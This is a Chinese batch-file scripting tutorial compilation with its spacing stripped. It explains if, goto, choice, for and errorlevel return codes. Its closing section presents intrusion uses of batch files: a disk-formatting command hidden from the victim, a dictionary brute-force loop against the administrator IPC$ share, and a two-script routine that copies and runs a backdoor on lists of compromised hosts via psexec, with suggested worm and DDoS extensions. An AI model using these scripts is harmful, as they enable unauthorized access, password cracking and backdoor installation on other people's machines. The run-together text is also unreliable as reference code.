经过2次shift后,arg1也被废弃,%9指向为空,没有引用意义cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10^^^^^^^^^|||||||||%0%1%2%3%4%5%6%7%8

遗憾的是,win9x和DOS下均不支持shift的逆操作.只有在nt内核命令行环境下,shift才支持/n参数,可以以第一参数为基准返复移动起始指针.=================

特殊命令

ifgotochoicefor是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:

1、if[not]"参数"=="字符串"待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if"%1"=="a"formata:

====

if的命令行帮助中关于此点的描述为:IF[NOT]string1==string2command在此有以下几点需要注意:1.包含字符串的双引号不是语法所必须的,而只是习惯上使用的一种"防空"字符2.string1未必是参数,它也可以是环境变量,循环变量以及其他字符串常量或变量3.command不是语法所必须的,string2后跟一个空格就可以构成一个有效的命令行=============================

2、if[not]exist[路径]文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如:ifexistc:config.systypec:config.sys表示如果存在c:config.sys文件,则显示它的内容。

注也可以使用以下的用法:ifexistcommanddevice是指DOS系统中已加载的设备,在win98下通常有:AUX,PRN,CON,NULCOM1,COM2,COM3,COM4LPT1,LPT2,LPT3,LPT4XMSXXXX0,EMMXXXX0A:B:C:...,CLOCK$,CONFIG$,DblBuff$,IFS$HLP$具体的内容会因硬软件环境的不同而略有差异,使用这些设备名称时,需要保证以下三点:1.该设备确实存在(由软件虚拟的设备除外)2.该设备驱动程序已加载(aux,prn等标准设备由系统缺省定义)3.该设备已准备好(主要是指a:b:...,com1...,lpt1...等)可通过命令mem/d|find"device"/i来检阅你的系统中所加载的设备另外,在DOS系统中,设备也被认为是一种特殊的文件,而文件也可以称作字符设备;因为设备(device)与文件都是使用句柄(handle)来管理的,句柄就是名字,类似于文件名,只不过句柄不是应用于磁盘管理,而是应用于内存管理而已,所谓设备加载也即指在内存中为其分配可引用的句柄.==================================

3、iferrorlevel<数字>待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过iferrorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如iferrorlevel2gotox2

====注===========返回值从大到小的顺序排列不是必须的,而只是执行命令为goto时的习惯用法,当使用set作为执行命令时,通常会从小到大顺序排列,比如需将返回码置入环境变量,就需使用以下的顺序形式:

iferrorlevel1setel=1iferrorlevel2setel=2iferrorlevel3setel=3iferrorlevel4setel=4iferrorlevel5setel=5...

当然,也可以使用以下循环来替代,原理是一致的:for%%ein(12345678...)doiferrorlevel%%esetel=%%e

更高效简洁的用法,可以参考我写的另一篇关于获取errorlevel的文章

出现此种现象的原因是,iferrorlevel比较返回码的判断条件并非等于,而是大于等于.由于goto的跳转特性,由小到大排序会导致在较小的返回码处就跳出;而由于set命令的"重复"赋值特性,由大到小排序会导致较小的返回码"覆盖"较大的返回码.

另外,虽然iferrorlevel=<数字>command也是有效的命令行,但也只是command.com解释命令行时将=作为命令行切分符而忽略掉罢了===========================

二、goto批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

如:

gotoend

:endechothisistheend

标号用":字符串"来定义,标号所在行不被执行。

====willsort编注

label常被译为"标签",但是这并不具有广泛的约定性.

goto与:联用可实现执行中途的跳转,再结合if可实现执行过程的条件分支,多个if即可实现命令的分组,类似C中switchcase结构或者Basic中的selectcase结构,大规模且结构化的命令分组即可实现高级语言中的函数功能.以下是批处理和C/Basic在语法结构上的对照:

BatchC/Basicgoto&:goto&:goto&:&ifif{}&else{}/if&elseif&endifgoto&:&if...switch&case/selectcasegoto&:&if&set&envar...function()/function(),sub()==================================三、choice使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于iferrorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice/?查看用法。

choice的命令语法(该语法为windows2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE[/Cchoices][/N][/CS][/Ttimeout/Dchoice][/Mtext]

描述:该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:/Cchoices指定要创建的选项列表。默认列表是"YN"。

/N在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

/CS允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

/Ttimeout做出默认选择之前,暂停的秒数。可接受的值是从0到9999。如果指定了0,就不会有暂停,默认选项会得到选择。

/Dchoice在nnnn秒之后指定默认选项。字符必须在用/C选项指定的一组选择中;同时,必须用/T指定nnnn。

/Mtext指定提示之前要显示的消息。如果没有指定,工具只显示提示。

/?显示帮助消息。

注意:ERRORLEVEL环境变量被设置为从选择集选择的键索引。列出的第一个选择返回1,第二个选择返回2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回255的ERRORLEVEL值。如果用户按Ctrl+Break或Ctrl+C键,该工具会返回0的ERRORLEVEL值。在一个批程序中使用ERRORLEVEL参数时,将参数降序排列。

示例:CHOICE/?CHOICE/CYNC/M"确认请按Y,否请按N,或者取消请按C。"CHOICE/T10/Cync/CS/DyCHOICE/Cab/M"选项1请选择a,选项2请选择b。"CHOICE/Cab/N/M"选项1请选择a,选项2请选择b。"

====willsort编注===============================我列出win98下choice的用法帮助,已资区分

Waitsfortheusertochooseoneofasetofchoices.等待用户选择一组待选字符中的一个

CHOICE[/C[:]choices][/N][/S][/T[:]c,nn][text]

/C[:]choicesSpecifIEsallowablekeys.DefaultisYN指定允许的按键(待选字符),默认为YN/NDonotdisplaychoicesand?atendofpromptstring.不显示提示字符串中的问号和待选字符/STreatchoicekeysascasesensitive.处理待选字符时大小写敏感/T[:]c,nnDefaultchoicetocafternnseconds在nn秒后默认选择ctextPromptstringtodisplay要显示的提示字符串ERRORLEVELissettooffsetofkeyuserpressesinchoices.ERRORLEVEL被设置为用户键入的字符在待选字符中的偏移值如果我运行命令:CHOICE/CYNC/M"确认请按Y,否请按N,或者取消请按C。"屏幕上会显示:确认请按Y,否请按N,或者取消请按C。[Y,N,C]?

例:test.bat的内容如下(注意,用iferrorlevel判断返回值时,要按返回值从高到低排列):@echooffchoice/Cdme/M"defrag,mem,end"iferrorlevel3gotoendiferrorlevel2gotomemiferrorlevel1gotodefrag

:defragc:dosdefraggotoend

:memmemgotoend

:endechogoodbye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?",用户可选择dme,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,批处理运行结束。

四、for循环命令,只要条件符合,它将多次执行同一命令。

语法:对一组文件中的每一个文件执行某个特定命令。

FOR%%variableIN(set)DOcommand[command-parameters]

%%variable指定一个单一字母可替换的参数。(set)指定一个或一组文件。可以使用通配符。command指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:for%%cin(.bat.txt)dotype%%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

====willsort编注=====================================================需要指出的是,当()中的字符串并非单个或多个文件名时,它将单纯被当作字符串替换,这个特性再加上()中可以嵌入多个字符串的特性,很明显for可以被看作一种遍历型循环.当然,在nt/2000/xp/2003系列的命令行环境中,for被赋予了更多的特性,使之可以分析命令输出或者文件中的字符串,也有很多开关被用于扩展了文件替换功能.========================================================================

批处理示例

1.IF-EXIST

1)首先用记事本在C:建立一个test1.bat批处理文件,文件内容如下:@echooffIFEXISTAUTOEXEC.BATTYPEAUTOEXEC.BATIFNOTEXISTAUTOEXEC.BATECHOAUTOEXEC.BATdoesnotexist

然后运行它:C:>TEST1.BAT

如果C:存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)接着再建立一个test2.bat文件,内容如下:@ECHOOFFIFEXIST%1TYPE%1IFNOTEXIST%1ECHO%1doesnotexist

执行:C:>TEST2AUTOEXEC.BAT该命令运行结果同上。

说明:(1)IFEXIST是用来测试文件是否存在的,格式为IFEXIST[路径+文件名]命令(2)test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身),这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

====willsort编注=====================================================DOS没有"允许传递9个批参数信息"的限制,参数的个数只会受到命令行长度和所调用命令处理能力的限制.但是,我们在批处理程序中,在同一时刻只能同时引用10个参数,因为DOS只给出了%0~%9这十个参数引用符.========================================================================

3)更进一步的,建立一个名为TEST3.BAT的文件,内容如下:@echooffIF"%1"=="A"ECHOXIAOIF"%2"=="B"ECHOTIANIF"%3"=="C"ECHOXIN

如果运行:C:>TEST3ABC屏幕上会显示:XIAOTIANXIN

如果运行:C:>TEST3AB屏幕上会显示XIAOTIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:@ECHOOFFXCOPYC:AUTOEXEC.BATD:IFERRORLEVEL1ECHO文件拷贝失败IFERRORLEVEL0ECHO成功拷贝文件

然后执行文件:C:>TEST4

如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。

IFERRORLEVEL是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

@ECHOOFFXCOPYC:AUTOEXEC.BATD:IFERRORLEVEL0ECHO成功拷贝文件IFERRORLEVEL1ECHO未找到拷贝文件IFERRORLEVEL2ECHO用户通过ctrl-c中止拷贝操作IFERRORLEVEL3ECHO预置错误阻止文件拷贝操作IFERRORLEVEL4ECHO拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件用户通过ctrl-c中止拷贝操作预置错误阻止文件拷贝操作拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup0备份成功1未找到备份文件2文件共享冲突阻止备份完成3用户用ctrl-c中止备份4由于致命的错误使备份操作中止

diskcomp0盘比较相同1盘比较不同2用户通过ctrl-c中止比较操作3由于致命的错误使比较操作中止4预置错误中止比较

diskcopy0盘拷贝操作成功1非致命盘读/写错2用户通过ctrl-c结束拷贝操作3因致命的处理错误使盘拷贝中止4预置错误阻止拷贝操作

format0格式化成功3用户通过ctrl-c中止格式化处理4因致命的处理错误使格式化中止5在提示"proceedwithformat(y/n)?"下用户键入n结束

xcopy0成功拷贝文件1未找到拷贝文件2用户通过ctrl-c中止拷贝操作4预置错误阻止文件拷贝操作5拷贝过程中写盘错误

chkdsk0未找到错误255找到一个或多个错误

choice0用户按下ctrl+c/break1用户按下第一个键255检测到命令行中的错误条件其它用户按下的有效字符在列表中的位置

defrag0碎片压缩成功1出现内部错误2磁盘上没有空簇。要运行DEFRAG,至少要有一个空簇3用户用Ctrl+C退出了DEFRAG4出现一般性错误5DEFRAG在读簇时遇到错误6DEFRAG在写簇时遇到错误7分配空间有错8内存错9没有足够空间来压缩磁盘碎片

deltree0成功地删除一个目录

diskcomp0两盘相同1发现不同2按CTRL+C终止了比较3出现严重错误4出现初始化错误

find0查找成功且至少找到了一个匹配的字符串1查找成功但没找到匹配的字符串2查找中出现了错误

keyb0键盘定义文件装入成功1使用了非法的键盘代码,字符集或语法2键盘定义文件坏或未找到4键盘、监视器通讯时出错5要求的字符集未准备好

move0成功地移动了指定的文件1发生了错误

msav/N86检查到了病毒

replace0REPLACE成功地替换或加入了文件1MS-DOS版本和REPLACE不兼容2REPLACE找不到源文件3REPLACE找不到源路径或目标路径5不能存取要替换的文件8内存不够无法执行REPLACE11命令行句法错误

restore0RESTORE成功地恢复了文件1RESTORE找不到要恢复的文件3用户按CTRL+C终止恢复过程4RESTORE因错误而终止

scandisk0ScanDisk在它检查的驱动器上未检测到任何错误1由于命令行的语法不对,不能运行ScanDisk2由于内存用尽或发生内部错误,ScanDisk意外终止3用户让ScanDisk中途退出4进行盘面扫描时,用户决定提前退出254ScanDisk找到磁盘故障并已全部校正255ScanDisk找到磁盘故障,但未能全部校正

setver0SETVER成功地完成了任务1用户指定了一个无效的命令开关2用户指定了一个非法的文件名3没有足够的系统内存来运行命令4用户指定了一个非法的版本号格式5SETVER在版本表中未找到指定的项6SETVER未找到SETVER.EXE文件7用户指定了一个非法的驱动器8用户指定了太多的命令行参数9SETVER检测到丢失了命令行参数10在读SETVER.EXE文件时,SETVER检测到发生错误11SETVER.EXE文件损坏12指定的SETVER.EXE文件不支持版本表13版本表中没有足够的空间存放新的项14在写SETVER.EXE文件时SETVER检测到发生错误========================================================================

3、IFSTRING1==STRING2

建立TEST5.BAT,文件内容如下:@echooffIF"%1"=="A"FORMATA:

执行:C:>TEST5A屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。如:if[%1]==[A]或者if%1==A

5、GOTO

建立TEST6.BAT,文件内容如下:@ECHOOFFIFEXISTC:AUTOEXEC.BATGOTO_COPYGOTO_DONE:_COPYCOPYC:AUTOEXEC.BATD::_DONE

注意:(1)标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。(2)标号的命名规则与文件名的命名规则相同。(3)DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

====willsort编注=====================================================1)标号也称作标签(label)2)标签不能以大多数的非字母数字字符开始,而文件名中则可以使用很多3)当无法区别两个标签时,将跳转至位置最靠前的标签========================================================================

6、FOR

建立C:TEST7.BAT,文件内容如下:@ECHOOFFFOR%%CIN(.BAT.TXT.SYS)DOTYPE%%C

运行:C:>TEST7

执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

?

教你如何进行批处理文件编程

对于许多计算机编程初学者都有这样的体会:好不容易学了个C语言,发现要开发点实用一点的程序还要去看大部头的MSDN什么的...想起来就头痛,而且只学习C语言,除了编几个helloworld或者什么排序算法,基本上没什么实用价值...

今天在公司花了一个整下午时间(老板脸色要不好看了),把windows批处理文件好好研究了一下,随手记下了批处理的心得,发现批处理其实可以当作一门简单的语言来学习,而且通过几小时的学习可以马上就能编出非常实用的程序,可以大大鼓舞兄弟们的学习积极性,可谓居家旅行,黑人电脑之必备良药。

关于批处理的命令的详细解释,请大家参看下面的帮助文档,我也是从中学习得到的。而且将本贴和下面的文档结合起来看,再顺手编几个小程序,可以达到事半功倍的效果。

批处理命令中最复杂的就是For命令了,这里重点对它讲一下(其它的命令大家可以看windows帮助,因为个人觉帮助文档中对for命令的解释含糊不清,都是我通过实验才猜出来怎么用的)

开始了:前面的话:批处理中的命令也可以直接在ms-dos的界面下输入,不过要注意:如下面例1中的一样,在MS-DOS下面输入时,变量是一个''%'',如果写成.bat文件,则要用两个''%'',即''%%''另:.bat文件可以用文本编辑器直接打开进行编写。

For命令(相关语法含义请参考windows帮助文档):

Example1:for%fin(.txt)dotype%f//命令行中使用for%%fin(.txt)dotype%%f//批处理中使用

上面这个例子的意思是:在当前目录下,对目录下的每个.txt文件都执行type.txt命令%f为替换符,从代替每个从(.txt)中取出的每个命令的元素,进行执行。

如当前目录下有a.txt,b.txt两个txt文件,则上面那条命令相当于:typea.txttypeb.txt

Example2:for/L%fin(2,1,255)doping192.168.254.%f-n1//命令行for/L%%fin(2,1,255)doping192.168.254.%%f-n1//批处理文件//注意","不要写错成全角或者其它的符号意思是,以开始为2,每次循环加1,一直增加到255。%f表示增加得到的数字,每增加一次,执行一次ping192.168.254.%f-n1

上面这条语句等于依次执行下面的语句序列:ping192.168.254.2-n1ping192.168.254.3-n1...ping192.168.254.254-n1

?

Example3:For+筛选器命令+管道:for/L%%fin(1,1,256)doping192.168.254.%%f-n1|find"Reply"

|表示管道,可以在帮助文档中找到,意思是前面命令在MS-DOS下面的输出当成后面一个命令的输入。比如说:执行命令:ping192.168.242.39-n1|find"Reply"

C:\DocumentsandSettings\朱文\桌面>ping192.168.242.39-n1

Pinging192.168.242.39with32bytesofdata:

Replyfrom192.168.242.39:bytes=32time<10msTTL=128

Pingstatisticsfor192.168.242.39:?Packets:Sent=1,Received=1,Lost=0(0%loss),Approximateroundtriptimesinmilli-seconds:?Minimum=0ms,Maximum=0ms,Average=0ms

上面红色的部分就是|find"Reply"的输入上面的例子的意思是说循环ping子网(192.168.254.)中的地址,过滤出有回应的地址。这个例子我会做成.bat文件粘在附件上。大家可以用这个.bat文件查看子网中有哪些机器(当然,要能回应ping才行)

Example4:for/F"usebackqdelims=="%iIN(`set`)DO@echo%i//命令行for/F"usebackqdelims=="%%iIN(`set`)DO@echo%%i//批处理意思是:将set命令的输出当成文件,对每行输出进行解析,输出每行字符中''=''前面的部分这个和前面的管道|有些相似。

Example5:for/F"usebackqeol=A"%%iIN(`set`)DO@echo%%i//批处理忽略以A开头的行,usebackq表示`set`是一条cmd的命令,而''set''为字符串注意,与上面的不同,''set''为字符串,`set`为命令

Example6:for/F"usebackqtokens=2,3"%%iin(`set`)doecho%%i%%j%%k!令牌的意思是第几个字符串,上面的意思是说,%i,%j,%k分别代表第2个,第3个,和最后所有的字符串,字符串是由空格等区分的个人觉得帮助文档在这里的翻译很烂,token翻译成令牌让我感觉和网络里面的令牌环有点混淆,而且也不知道是什么意思,还是我通过实验才猜出来的。这里的token应该理解成被空格隔开的字符串,如IamZhuwen,I就是第一个token,am是第二个token,zhuwen是第三个token

Example6:Echo命令:echooff//关闭命令的回显,但本条命令会显示@echooff关闭回显,且本条命令不显示echo.echoThisbatchprogramechoformatsandchecksechonewdisksecho.

大家可以再看看文档,里面还有if等一些有用的关键字,但都比较简单,一看就能看懂,所以这里也不多说了。

可能大家会问:批处理程序有什么用?随便举几个例子吧:1.最容易想到,也是激发我学习批处理的原因:想找出公司子网里面有哪些机器。用C太复杂了,人又懒,不想下代理猎手什么的,于是就想到了批处理,呵呵。2.用批处理可以做一个类似windows搜索的东东,找出想要的文件或者文件中的字符串---多有成就啊:)3.对那种在MS-DOS下面有大量输出的软件,可以用批处理来筛选有用的信息...最后,也是最重要的一点:当MM请教你什么什么的时候,如果这时,你能show一把批处理命令,嘿嘿,MM想不认为你是电脑高手都难了。总之,批处理是非常实用的一门语言了:)

???对了,忘了说了:如果版主觉得我的这篇文章好,能不能给点威望?俺想求书可以发现一点威望也没有,多谢多谢了!???????????????????????????????-------Zhuwen

下面附件带有一个我编的批处理样例,用处是找出所有192.168.0.子网内的PC,结果记录在c:\1.txt中

?

?DOS批处理脚本语言简介

一.简单批处理内部命令简介1.Echo命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo命令将显示当前回显设置。语法echo[{onoff}][message]Sample:@echooff/echohelloworld在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用>>>^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2.@命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample:@echooff@echoNowinitializingtheprogram,pleasewaitaminite...@formatX:/q/u/autoset(format这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)3.Goto命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:gotolabel(label是参数,指定所要转向的批处理程序中的行。)Sample:if{%1}=={}gotonoparmsif{%2}=={}gotonoparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Remcheckparametersifnullshowusage:noparmsechoUsage:monitor.batServerIPPortNumbergotoend标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。4.Rem命令注释命令,在C语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。RemMessageSample:@RemHereisthedescription.5.Pause命令运行Pause命令时,将显示下面的消息:Pressanykeytocontinue...Sample:@echooff:begincopya:.d:\backechoPleaseputanewdiskintodriverA

pausegotobegin在这个例子中,驱动器A中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。6.Call命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。

语法call[[Drive:][Path]FileName[BatchParameters]][:label[arguments]]参数[Drive:}[Path]FileName指定要调用的批处理程序的位置和名称。filename参数必须具有.bat或.cmd扩展名。7.start命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数:MIN开始时窗口最小化SEPARATE在分开的空间内开始16位windows程序HIGH在HIGH优先级类别开始应用程序REALTIME在REALTIME优先级类别开始应用程序WAIT启动应用程序并等候它结束parameters这些为传送到命令/程序的参数执行的应用程序是32-位GUI应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice命令choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……如:choice/c:dmedefrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下:@echooffchoice/c:dmedefrag,mem,endiferrorlevel3gotodefrag(应先判断数值最高的错误码)iferrorlevel2gotomemiferrotlevel1gotoend:defragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。9.If命令if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"formata:if{%1}=={}gotonoparmsif{%2}=={}gotonoparms2、ifexist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如ifexistconfig.syseditconfig.sys3、iferrorlevel/ifnoterrorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如iferrorlevel2gotox2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。10.for命令for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用FOR命令时,指定变量请使用%%variablefor{%variable%%variable}in(set)docommand[CommandLineOptions]%variable指定一个单一字母可替换的参数。(set)指定一个或一组文件。可以使用通配符。command指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同于%I如果命令扩展名被启用,下列额外的FOR命令格式会受到支持:FOR/D%variableIN(set)DOcommand[command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。FOR/R[[drive:]path]%variableIN(set)DOcommand[command-检查以[drive:]path为根的目录树,指向每个目录中的FOR语句。如果在/R后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR/L%variableIN(start,step,end)DOcommand[command-para该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)。FOR/F["options"]%variableIN(file-set)DOcommandFOR/F["options"]%variableIN("string")DOcommandFOR/F["options"]%variableIN(command)DOcommand或者,如果有usebackq选项:FOR/F["options"]%variableIN(file-set)DOcommandFOR/F["options"]%variableIN("string")DOcommandFOR/F["options"]%variableIN(command)DOcommandfilenameset为一个或多个文件名。继续到filenameset中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用For循环。以默认方式,/F通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选"options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:eol=c-指一个行注释字符的结尾(就一个)skip=n-指在文件开始时忽略的行数。delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的格式为一个范围。通过nth符号指定m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称。sample1:FOR/F"eol=;tokens=2,3delims=,"%iin(myfile.txt)docommand会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母z或Z的变量。请记住,FOR变量是单一字母、分大小写和全局的同时不能有52个以上都在使用中。您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用FOR/F命令来分析命令的输出。方法是,将括号之间的filenameset变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i会枚举当前环境中的环境变量名称。另外,FOR变量参照的替换已被增强。您现在可以使用下列选项语法:~I-删除任何引号("),扩充%I%~fI-将%I扩充到一个完全合格的路径名%~dI-仅将%I扩充到一个驱动器号%~pI-仅将%I扩充到一个路径%~nI-仅将%I扩充到一个文件名%~xI-仅将%I扩充到一个文件扩展名%~sI-扩充的路径只含有短名%~aI-将%I扩充到文件的文件属性%~tI-将%I扩充到文件的日期/时间%~zI-将%I扩充到文件的大小%~$PATH:I-查找列在路径环境变量的目录,并将%I扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI-仅将%I扩充到一个驱动器号和路径%~nxI-仅将%I扩充到一个文件名和扩展名%~fsI-仅将%I扩充到一个带有短名的完整路径名%~dp$PATH:i-查找列在路径环境变量的目录,并将%I扩充到找到的第一个驱动器号和路径。%~ftzaI-将%I扩充到类似输出线路的DIR在以上例子中,%I和PATH可用其他有效数值代替。%~语法用一个有效的FOR变量名终止。选取类似%I的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用netuse\\ip\ipc$"password"/u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for/fi%in(dict.txt)donetuse\\ip\ipc$"i%"/u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用netuse命令来连接。然后将程序运行结果传递给find命令--for/fi%%in(dict.txt)donetuse\\ip\ipc$"i%%"/u:"administrator"find":命令成功完成">>D:\ok.txt,这样就ko了。sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条:(在批处理文件中使用FOR命令时,指定变量使用%%variable)@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat?%%i%%j%%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i%j%k。而cultivate.bat无非就是用netuse命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(Iferrorlever=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims=表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。代码雏形:---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------@echooff@if"%1"==""gotousage@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k@gotoend:usage@echorunthisbatchindosmodle.orjustdouble-clickit.:end---------------cutherethensaveasabatchfile(Icallitmain.bat)----------------------------------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------------------@netuse\\%1\ipc$%3/u:"%2"@iferrorlevel1gotofailed@echoTryingtoestablishtheIPC$connection…………OK@copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt@psexec\\%1c:\winnt\system32\windrv32.exe@psexec\\%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt????????????????????????????????????????????????????????????????????????????????????????????????????????????????:failed@echoSorrycannotconnectedtothevictim.-----------------cutherethensaveasabatchfile(Icallitdoor.bat)--------------------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此